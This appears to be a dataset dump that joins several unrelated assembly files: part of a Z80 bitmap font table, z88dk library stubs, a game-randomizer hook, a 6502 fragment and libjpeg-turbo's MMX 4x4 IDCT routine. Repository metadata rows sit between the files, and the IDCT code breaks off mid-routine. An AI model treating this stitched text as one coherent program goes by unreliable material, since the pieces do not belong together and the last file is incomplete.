defb @01111000
defb @00110000
defb @00110000
defb @01111000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 103 (67)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00111110
defb @01100110
defb @01100110
defb @00111110
defb @00000110
defb @01111100
defb @00000000
defb @00000000
defb @00111110
defb @01100110
defb @01100110
defb @00111110
defb @00000110
defb @01111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 104 (68)
defb 0,0,0,0,0,0,0,0
defb @11100000
defb @01100000
defb @01101100
defb @01110110
defb @01100110
defb @01100110
defb @11100110
defb @00000000
defb @11100000
defb @01100000
defb @01101100
defb @01110110
defb @01100110
defb @01100110
defb @11100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 105 (69)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00000000
defb @00111000
defb @00011000
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @00011000
defb @00000000
defb @00111000
defb @00011000
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 106 (6a)
defb 0,0,0,0,0,0,0,0
defb @00000110
defb @00000000
defb @00001110
defb @00000110
defb @00000110
defb @01100110
defb @01100110
defb @00111100
defb @00000110
defb @00000000
defb @00001110
defb @00000110
defb @00000110
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 107 (6b)
defb 0,0,0,0,0,0,0,0
defb @11100000
defb @01100000
defb @01100110
defb @01101100
defb @01111000
defb @01101100
defb @11100110
defb @00000000
defb @11100000
defb @01100000
defb @01100110
defb @01101100
defb @01111000
defb @01101100
defb @11100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 108 (6c)
defb 0,0,0,0,0,0,0,0
defb @00111000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @00111000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 109 (6d)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01101100
defb @11111110
defb @11010110
defb @11010110
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @01101100
defb @11111110
defb @11010110
defb @11010110
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 110 (6e)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @11011100
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00000000
defb @00000000
defb @00000000
defb @11011100
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 111 (6f)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00111100
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00111100
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 112 (70)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @11011100
defb @01100110
defb @01100110
defb @01111100
defb @01100000
defb @11110000
defb @00000000
defb @00000000
defb @11011100
defb @01100110
defb @01100110
defb @01111100
defb @01100000
defb @11110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 113 (71)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01110110
defb @11001100
defb @11001100
defb @01111100
defb @00001100
defb @00011110
defb @00000000
defb @00000000
defb @01110110
defb @11001100
defb @11001100
defb @01111100
defb @00001100
defb @00011110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 114 (72)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @11011100
defb @01110110
defb @01100000
defb @01100000
defb @11110000
defb @00000000
defb @00000000
defb @00000000
defb @11011100
defb @01110110
defb @01100000
defb @01100000
defb @11110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 115 (73)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @00111100
defb @01100000
defb @00111100
defb @00000110
defb @01111100
defb @00000000
defb @00000000
defb @00000000
defb @00111100
defb @01100000
defb @00111100
defb @00000110
defb @01111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 116 (74)
defb 0,0,0,0,0,0,0,0
defb @00110000
defb @00110000
defb @01111100
defb @00110000
defb @00110000
defb @00110110
defb @00011100
defb @00000000
defb @00110000
defb @00110000
defb @01111100
defb @00110000
defb @00110000
defb @00110110
defb @00011100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 117 (75)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00111110
defb @00000000
defb @00000000
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @01100110
defb @00111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 118 (76)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @00111100
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 119 (77)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @11000110
defb @11010110
defb @11010110
defb @11111110
defb @01101100
defb @00000000
defb @00000000
defb @00000000
defb @11000110
defb @11010110
defb @11010110
defb @11111110
defb @01101100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 120 (78)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @11000110
defb @01101100
defb @00111000
defb @01101100
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @11000110
defb @01101100
defb @00111000
defb @01101100
defb @11000110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 121 (79)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @00111110
defb @00000110
defb @01111100
defb @00000000
defb @00000000
defb @01100110
defb @01100110
defb @01100110
defb @00111110
defb @00000110
defb @01111100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 122 (7a)
defb 0,0,0,0,0,0,0,0
defb @00000000
defb @00000000
defb @01111110
defb @01001100
defb @00011000
defb @00110010
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @01111110
defb @01001100
defb @00011000
defb @00110010
defb @01111110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 123 (7b)
defb 0,0,0,0,0,0,0,0
defb @00001110
defb @00011000
defb @00011000
defb @01110000
defb @00011000
defb @00011000
defb @00001110
defb @00000000
defb @00001110
defb @00011000
defb @00011000
defb @01110000
defb @00011000
defb @00011000
defb @00001110
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 124 (7c)
defb 0,0,0,0,0,0,0,0
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00011000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 125 (7d)
defb 0,0,0,0,0,0,0,0
defb @01110000
defb @00011000
defb @00011000
defb @00001110
defb @00011000
defb @00011000
defb @01110000
defb @00000000
defb @01110000
defb @00011000
defb @00011000
defb @00001110
defb @00011000
defb @00011000
defb @01110000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 126 (7e)
defb 0,0,0,0,0,0,0,0
defb @01110110
defb @11011100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @01110110
defb @11011100
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
; Char 127 (7f)
defb 0,0,0,0,0,0,0,0
defb @00111000
defb @01000100
defb @10111010
defb @10100010
defb @10111010
defb @01000100
defb @00111000
defb @00000000
defb @00111000
defb @01000100
defb @10111010
defb @10100010
defb @10111010
defb @01000100
defb @00111000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
defb @00000000
| 14.171468 | 21 | 0.724895 |
51aabae4beac49c397bb0f87def8af019bb43c0c | 290 | asm | Assembly | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sdcc_iy/bv_priority_queue_max_size_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sdcc_iy/bv_priority_queue_max_size_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sdcc_iy/bv_priority_queue_max_size_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; size_t bv_priority_queue_max_size_fastcall(bv_priority_queue_t *q)
SECTION code_adt_bv_priority_queue
PUBLIC _bv_priority_queue_max_size_fastcall
defc _bv_priority_queue_max_size = asm_bv_priority_queue_max_size
INCLUDE "adt/bv_priority_queue/z80/asm_bv_priority_queue_max_size.asm"
| 26.363636 | 70 | 0.896552 |
145f3df488325b412a10d5824cf0d897e1b16670 | 332 | asm | Assembly | Assembly/bossdrop_hooks.asm | CaitSith2/Enemizer | 53be2143063c5ca03216f76821ebbbce67313e34 | [
"WTFPL"
] | 2 | 2020-06-21T14:38:23.000Z | 2021-02-03T00:43:49.000Z | Assembly/bossdrop_hooks.asm | CaitSith2/Enemizer | 53be2143063c5ca03216f76821ebbbce67313e34 | [
"WTFPL"
] | 5 | 2020-07-16T22:12:30.000Z | 2020-08-31T22:11:54.000Z | Assembly/bossdrop_hooks.asm | CaitSith2/Enemizer | 53be2143063c5ca03216f76821ebbbce67313e34 | [
"WTFPL"
] | 2 | 2020-07-16T22:34:11.000Z | 2020-11-18T19:39:50.000Z | ;================================================================================
; Change heart container drop location
;--------------------------------------------------------------------------------
org $05EF62
JSL change_heartcontainer_position
;--------------------------------------------------------------------------------
| 47.428571 | 81 | 0.222892 |
24816d2d02b9f9bbd7ace90d3a4e75bd20f1c7b2 | 240 | asm | Assembly | libsrc/_DEVELOPMENT/libgen/c/sccz80/basename_ext.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/libgen/c/sccz80/basename_ext.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/libgen/c/sccz80/basename_ext.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; char *basename_ext(char *path)
SECTION code_string
PUBLIC basename_ext
EXTERN asm_basename_ext
defc basename_ext = asm_basename_ext
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _basename_ext
defc _basename_ext = basename_ext
ENDIF
| 14.117647 | 36 | 0.825 |
5fe34a733ba1b903f9addc132291a7dda1815e3c | 68 | asm | Assembly | src/main/fragment/mos6502-common/vwum1=vwum1_minus_pwuc1_derefidx_vbuxx.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vwum1=vwum1_minus_pwuc1_derefidx_vbuxx.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vwum1=vwum1_minus_pwuc1_derefidx_vbuxx.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | lda {m1}
sec
sbc {c1},x
sta {m1}
lda {m1}+1
sbc {c1}+1,x
sta {m1}+1
| 8.5 | 12 | 0.558824 |
6368db18505162b5f1b0d798ba807b15dfd8b50a | 21,879 | asm | Assembly | Ouroboros/External/libjpegTurbo/simd/jimmxred.asm | jiangzhu1212/oooii | fc00ff81e74adaafd9c98ba7c055f55d95a36e3b | [
"MIT"
] | null | null | null | Ouroboros/External/libjpegTurbo/simd/jimmxred.asm | jiangzhu1212/oooii | fc00ff81e74adaafd9c98ba7c055f55d95a36e3b | [
"MIT"
] | null | null | null | Ouroboros/External/libjpegTurbo/simd/jimmxred.asm | jiangzhu1212/oooii | fc00ff81e74adaafd9c98ba7c055f55d95a36e3b | [
"MIT"
] | null | null | null | ;
; jimmxred.asm - reduced-size IDCT (MMX)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; This file contains inverse-DCT routines that produce reduced-size
; output: either 4x4 or 2x2 pixels from an 8x8 DCT block.
; The following code is based directly on the IJG's original jidctred.c;
; see the jidctred.c for more details.
;
; [TAB8]
%include "jsimdext.inc"
%include "jdct.inc"
; --------------------------------------------------------------------------
%define CONST_BITS 13
%define PASS1_BITS 2
%define DESCALE_P1_4 (CONST_BITS-PASS1_BITS+1)
%define DESCALE_P2_4 (CONST_BITS+PASS1_BITS+3+1)
%define DESCALE_P1_2 (CONST_BITS-PASS1_BITS+2)
%define DESCALE_P2_2 (CONST_BITS+PASS1_BITS+3+2)
%if CONST_BITS == 13
F_0_211 equ 1730 ; FIX(0.211164243)
F_0_509 equ 4176 ; FIX(0.509795579)
F_0_601 equ 4926 ; FIX(0.601344887)
F_0_720 equ 5906 ; FIX(0.720959822)
F_0_765 equ 6270 ; FIX(0.765366865)
F_0_850 equ 6967 ; FIX(0.850430095)
F_0_899 equ 7373 ; FIX(0.899976223)
F_1_061 equ 8697 ; FIX(1.061594337)
F_1_272 equ 10426 ; FIX(1.272758580)
F_1_451 equ 11893 ; FIX(1.451774981)
F_1_847 equ 15137 ; FIX(1.847759065)
F_2_172 equ 17799 ; FIX(2.172734803)
F_2_562 equ 20995 ; FIX(2.562915447)
F_3_624 equ 29692 ; FIX(3.624509785)
%else
; NASM cannot do compile-time arithmetic on floating-point constants.
%define DESCALE(x,n) (((x)+(1<<((n)-1)))>>(n))
F_0_211 equ DESCALE( 226735879,30-CONST_BITS) ; FIX(0.211164243)
F_0_509 equ DESCALE( 547388834,30-CONST_BITS) ; FIX(0.509795579)
F_0_601 equ DESCALE( 645689155,30-CONST_BITS) ; FIX(0.601344887)
F_0_720 equ DESCALE( 774124714,30-CONST_BITS) ; FIX(0.720959822)
F_0_765 equ DESCALE( 821806413,30-CONST_BITS) ; FIX(0.765366865)
F_0_850 equ DESCALE( 913142361,30-CONST_BITS) ; FIX(0.850430095)
F_0_899 equ DESCALE( 966342111,30-CONST_BITS) ; FIX(0.899976223)
F_1_061 equ DESCALE(1139878239,30-CONST_BITS) ; FIX(1.061594337)
F_1_272 equ DESCALE(1366614119,30-CONST_BITS) ; FIX(1.272758580)
F_1_451 equ DESCALE(1558831516,30-CONST_BITS) ; FIX(1.451774981)
F_1_847 equ DESCALE(1984016188,30-CONST_BITS) ; FIX(1.847759065)
F_2_172 equ DESCALE(2332956230,30-CONST_BITS) ; FIX(2.172734803)
F_2_562 equ DESCALE(2751909506,30-CONST_BITS) ; FIX(2.562915447)
F_3_624 equ DESCALE(3891787747,30-CONST_BITS) ; FIX(3.624509785)
%endif
; --------------------------------------------------------------------------
SECTION SEG_CONST
alignz 16
global EXTN(jconst_idct_red_mmx)
EXTN(jconst_idct_red_mmx):
PW_F184_MF076 times 2 dw F_1_847,-F_0_765
PW_F256_F089 times 2 dw F_2_562, F_0_899
PW_F106_MF217 times 2 dw F_1_061,-F_2_172
PW_MF060_MF050 times 2 dw -F_0_601,-F_0_509
PW_F145_MF021 times 2 dw F_1_451,-F_0_211
PW_F362_MF127 times 2 dw F_3_624,-F_1_272
PW_F085_MF072 times 2 dw F_0_850,-F_0_720
PD_DESCALE_P1_4 times 2 dd 1 << (DESCALE_P1_4-1)
PD_DESCALE_P2_4 times 2 dd 1 << (DESCALE_P2_4-1)
PD_DESCALE_P1_2 times 2 dd 1 << (DESCALE_P1_2-1)
PD_DESCALE_P2_2 times 2 dd 1 << (DESCALE_P2_2-1)
PB_CENTERJSAMP times 8 db CENTERJSAMPLE
alignz 16
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 32
;
; Perform dequantization and inverse DCT on one block of coefficients,
; producing a reduced-size 4x4 output block.
;
; GLOBAL(void)
; jsimd_idct_4x4_mmx (void * dct_table, JCOEFPTR coef_block,
; JSAMPARRAY output_buf, JDIMENSION output_col)
;
%define dct_table(b) (b)+8 ; void * dct_table
%define coef_block(b) (b)+12 ; JCOEFPTR coef_block
%define output_buf(b) (b)+16 ; JSAMPARRAY output_buf
%define output_col(b) (b)+20 ; JDIMENSION output_col
%define original_ebp ebp+0
%define wk(i) ebp-(WK_NUM-(i))*SIZEOF_MMWORD ; mmword wk[WK_NUM]
%define WK_NUM 2
%define workspace wk(0)-DCTSIZE2*SIZEOF_JCOEF
; JCOEF workspace[DCTSIZE2]
align 16
global EXTN(jsimd_idct_4x4_mmx)
EXTN(jsimd_idct_4x4_mmx):
push ebp
mov eax,esp ; eax = original ebp
sub esp, byte 4
and esp, byte (-SIZEOF_MMWORD) ; align to 64 bits
mov [esp],eax
mov ebp,esp ; ebp = aligned ebp
lea esp, [workspace]
pushpic ebx
; push ecx ; need not be preserved
; push edx ; need not be preserved
push esi
push edi
get_GOT ebx ; get GOT address
; ---- Pass 1: process columns from input, store into work array.
; mov eax, [original_ebp]
mov edx, POINTER [dct_table(eax)] ; quantptr
mov esi, JCOEFPTR [coef_block(eax)] ; inptr
lea edi, [workspace] ; JCOEF * wsptr
mov ecx, DCTSIZE/4 ; ctr
alignx 16,7
.columnloop:
%ifndef NO_ZERO_COLUMN_TEST_4X4_MMX
mov eax, DWORD [DWBLOCK(1,0,esi,SIZEOF_JCOEF)]
or eax, DWORD [DWBLOCK(2,0,esi,SIZEOF_JCOEF)]
jnz short .columnDCT
movq mm0, MMWORD [MMBLOCK(1,0,esi,SIZEOF_JCOEF)]
movq mm1, MMWORD [MMBLOCK(2,0,esi,SIZEOF_JCOEF)]
por mm0, MMWORD [MMBLOCK(3,0,esi,SIZEOF_JCOEF)]
por mm1, MMWORD [MMBLOCK(5,0,esi,SIZEOF_JCOEF)]
por mm0, MMWORD [MMBLOCK(6,0,esi,SIZEOF_JCOEF)]
por mm1, MMWORD [MMBLOCK(7,0,esi,SIZEOF_JCOEF)]
por mm0,mm1
packsswb mm0,mm0
movd eax,mm0
test eax,eax
jnz short .columnDCT
; -- AC terms all zero
movq mm0, MMWORD [MMBLOCK(0,0,esi,SIZEOF_JCOEF)]
pmullw mm0, MMWORD [MMBLOCK(0,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
psllw mm0,PASS1_BITS
movq mm2,mm0 ; mm0=in0=(00 01 02 03)
punpcklwd mm0,mm0 ; mm0=(00 00 01 01)
punpckhwd mm2,mm2 ; mm2=(02 02 03 03)
movq mm1,mm0
punpckldq mm0,mm0 ; mm0=(00 00 00 00)
punpckhdq mm1,mm1 ; mm1=(01 01 01 01)
movq mm3,mm2
punpckldq mm2,mm2 ; mm2=(02 02 02 02)
punpckhdq mm3,mm3 ; mm3=(03 03 03 03)
movq MMWORD [MMBLOCK(0,0,edi,SIZEOF_JCOEF)], mm0
movq MMWORD [MMBLOCK(1,0,edi,SIZEOF_JCOEF)], mm1
movq MMWORD [MMBLOCK(2,0,edi,SIZEOF_JCOEF)], mm2
movq MMWORD [MMBLOCK(3,0,edi,SIZEOF_JCOEF)], mm3
jmp near .nextcolumn
alignx 16,7
%endif
.columnDCT:
; -- Odd part
movq mm0, MMWORD [MMBLOCK(1,0,esi,SIZEOF_JCOEF)]
movq mm1, MMWORD [MMBLOCK(3,0,esi,SIZEOF_JCOEF)]
pmullw mm0, MMWORD [MMBLOCK(1,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm1, MMWORD [MMBLOCK(3,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
movq mm2, MMWORD [MMBLOCK(5,0,esi,SIZEOF_JCOEF)]
movq mm3, MMWORD [MMBLOCK(7,0,esi,SIZEOF_JCOEF)]
pmullw mm2, MMWORD [MMBLOCK(5,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm3, MMWORD [MMBLOCK(7,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
movq mm4,mm0
movq mm5,mm0
punpcklwd mm4,mm1
punpckhwd mm5,mm1
movq mm0,mm4
movq mm1,mm5
pmaddwd mm4,[GOTOFF(ebx,PW_F256_F089)] ; mm4=(tmp2L)
pmaddwd mm5,[GOTOFF(ebx,PW_F256_F089)] ; mm5=(tmp2H)
pmaddwd mm0,[GOTOFF(ebx,PW_F106_MF217)] ; mm0=(tmp0L)
pmaddwd mm1,[GOTOFF(ebx,PW_F106_MF217)] ; mm1=(tmp0H)
movq mm6,mm2
movq mm7,mm2
punpcklwd mm6,mm3
punpckhwd mm7,mm3
movq mm2,mm6
movq mm3,mm7
pmaddwd mm6,[GOTOFF(ebx,PW_MF060_MF050)] ; mm6=(tmp2L)
pmaddwd mm7,[GOTOFF(ebx,PW_MF060_MF050)] ; mm7=(tmp2H)
pmaddwd mm2,[GOTOFF(ebx,PW_F145_MF021)] ; mm2=(tmp0L)
pmaddwd mm3,[GOTOFF(ebx,PW_F145_MF021)] ; mm3=(tmp0H)
paddd mm6,mm4 ; mm6=tmp2L
paddd mm7,mm5 ; mm7=tmp2H
paddd mm2,mm0 ; mm2=tmp0L
paddd mm3,mm1 ; mm3=tmp0H
movq MMWORD [wk(0)], mm2 ; wk(0)=tmp0L
movq MMWORD [wk(1)], mm3 ; wk(1)=tmp0H
; -- Even part
movq mm4, MMWORD [MMBLOCK(0,0,esi,SIZEOF_JCOEF)]
movq mm5, MMWORD [MMBLOCK(2,0,esi,SIZEOF_JCOEF)]
movq mm0, MMWORD [MMBLOCK(6,0,esi,SIZEOF_JCOEF)]
pmullw mm4, MMWORD [MMBLOCK(0,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm5, MMWORD [MMBLOCK(2,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm0, MMWORD [MMBLOCK(6,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pxor mm1,mm1
pxor mm2,mm2
punpcklwd mm1,mm4 ; mm1=tmp0L
punpckhwd mm2,mm4 ; mm2=tmp0H
psrad mm1,(16-CONST_BITS-1) ; psrad mm1,16 & pslld mm1,CONST_BITS+1
psrad mm2,(16-CONST_BITS-1) ; psrad mm2,16 & pslld mm2,CONST_BITS+1
movq mm3,mm5 ; mm5=in2=z2
punpcklwd mm5,mm0 ; mm0=in6=z3
punpckhwd mm3,mm0
pmaddwd mm5,[GOTOFF(ebx,PW_F184_MF076)] ; mm5=tmp2L
pmaddwd mm3,[GOTOFF(ebx,PW_F184_MF076)] ; mm3=tmp2H
movq mm4,mm1
movq mm0,mm2
paddd mm1,mm5 ; mm1=tmp10L
paddd mm2,mm3 ; mm2=tmp10H
psubd mm4,mm5 ; mm4=tmp12L
psubd mm0,mm3 ; mm0=tmp12H
; -- Final output stage
movq mm5,mm1
movq mm3,mm2
paddd mm1,mm6 ; mm1=data0L
paddd mm2,mm7 ; mm2=data0H
psubd mm5,mm6 ; mm5=data3L
psubd mm3,mm7 ; mm3=data3H
movq mm6,[GOTOFF(ebx,PD_DESCALE_P1_4)] ; mm6=[PD_DESCALE_P1_4]
paddd mm1,mm6
paddd mm2,mm6
psrad mm1,DESCALE_P1_4
psrad mm2,DESCALE_P1_4
paddd mm5,mm6
paddd mm3,mm6
psrad mm5,DESCALE_P1_4
psrad mm3,DESCALE_P1_4
packssdw mm1,mm2 ; mm1=data0=(00 01 02 03)
packssdw mm5,mm3 ; mm5=data3=(30 31 32 33)
movq mm7, MMWORD [wk(0)] ; mm7=tmp0L
movq mm6, MMWORD [wk(1)] ; mm6=tmp0H
movq mm2,mm4
movq mm3,mm0
paddd mm4,mm7 ; mm4=data1L
paddd mm0,mm6 ; mm0=data1H
psubd mm2,mm7 ; mm2=data2L
psubd mm3,mm6 ; mm3=data2H
movq mm7,[GOTOFF(ebx,PD_DESCALE_P1_4)] ; mm7=[PD_DESCALE_P1_4]
paddd mm4,mm7
paddd mm0,mm7
psrad mm4,DESCALE_P1_4
psrad mm0,DESCALE_P1_4
paddd mm2,mm7
paddd mm3,mm7
psrad mm2,DESCALE_P1_4
psrad mm3,DESCALE_P1_4
packssdw mm4,mm0 ; mm4=data1=(10 11 12 13)
packssdw mm2,mm3 ; mm2=data2=(20 21 22 23)
movq mm6,mm1 ; transpose coefficients(phase 1)
punpcklwd mm1,mm4 ; mm1=(00 10 01 11)
punpckhwd mm6,mm4 ; mm6=(02 12 03 13)
movq mm7,mm2 ; transpose coefficients(phase 1)
punpcklwd mm2,mm5 ; mm2=(20 30 21 31)
punpckhwd mm7,mm5 ; mm7=(22 32 23 33)
movq mm0,mm1 ; transpose coefficients(phase 2)
punpckldq mm1,mm2 ; mm1=(00 10 20 30)
punpckhdq mm0,mm2 ; mm0=(01 11 21 31)
movq mm3,mm6 ; transpose coefficients(phase 2)
punpckldq mm6,mm7 ; mm6=(02 12 22 32)
punpckhdq mm3,mm7 ; mm3=(03 13 23 33)
movq MMWORD [MMBLOCK(0,0,edi,SIZEOF_JCOEF)], mm1
movq MMWORD [MMBLOCK(1,0,edi,SIZEOF_JCOEF)], mm0
movq MMWORD [MMBLOCK(2,0,edi,SIZEOF_JCOEF)], mm6
movq MMWORD [MMBLOCK(3,0,edi,SIZEOF_JCOEF)], mm3
.nextcolumn:
add esi, byte 4*SIZEOF_JCOEF ; coef_block
add edx, byte 4*SIZEOF_ISLOW_MULT_TYPE ; quantptr
add edi, byte 4*DCTSIZE*SIZEOF_JCOEF ; wsptr
dec ecx ; ctr
jnz near .columnloop
; ---- Pass 2: process rows from work array, store into output array.
mov eax, [original_ebp]
lea esi, [workspace] ; JCOEF * wsptr
mov edi, JSAMPARRAY [output_buf(eax)] ; (JSAMPROW *)
mov eax, JDIMENSION [output_col(eax)]
; -- Odd part
movq mm0, MMWORD [MMBLOCK(1,0,esi,SIZEOF_JCOEF)]
movq mm1, MMWORD [MMBLOCK(3,0,esi,SIZEOF_JCOEF)]
movq mm2, MMWORD [MMBLOCK(5,0,esi,SIZEOF_JCOEF)]
movq mm3, MMWORD [MMBLOCK(7,0,esi,SIZEOF_JCOEF)]
movq mm4,mm0
movq mm5,mm0
punpcklwd mm4,mm1
punpckhwd mm5,mm1
movq mm0,mm4
movq mm1,mm5
pmaddwd mm4,[GOTOFF(ebx,PW_F256_F089)] ; mm4=(tmp2L)
pmaddwd mm5,[GOTOFF(ebx,PW_F256_F089)] ; mm5=(tmp2H)
pmaddwd mm0,[GOTOFF(ebx,PW_F106_MF217)] ; mm0=(tmp0L)
pmaddwd mm1,[GOTOFF(ebx,PW_F106_MF217)] ; mm1=(tmp0H)
movq mm6,mm2
movq mm7,mm2
punpcklwd mm6,mm3
punpckhwd mm7,mm3
movq mm2,mm6
movq mm3,mm7
